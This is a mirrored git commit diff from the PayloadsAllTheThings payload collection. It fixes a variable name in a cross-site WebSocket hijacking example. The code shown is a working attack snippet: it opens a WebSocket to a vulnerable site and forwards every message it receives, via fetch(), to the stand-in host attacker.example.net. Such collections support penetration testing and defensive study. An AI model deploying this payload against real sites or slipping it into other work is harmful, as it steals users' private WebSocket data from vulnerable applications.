mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-24 13:25:27 +00:00
commit
d9921e370b
@ -45,7 +45,7 @@ data from the WebSocket to the attacker:
|
|||||||
<script>
|
<script>
|
||||||
ws = new WebSocket('wss://vulnerable.example.com/messages');
|
ws = new WebSocket('wss://vulnerable.example.com/messages');
|
||||||
ws.onopen = function start(event) {
|
ws.onopen = function start(event) {
|
||||||
websocket.send("HELLO");
|
ws.send("HELLO");
|
||||||
}
|
}
|
||||||
ws.onmessage = function handleReply(event) {
|
ws.onmessage = function handleReply(event) {
|
||||||
fetch('https://attacker.example.net/?'+event.data, {mode: 'no-cors'});
|
fetch('https://attacker.example.net/?'+event.data, {mode: 'no-cors'});
|
||||||
|
Loading…
Reference in New Issue
Block a user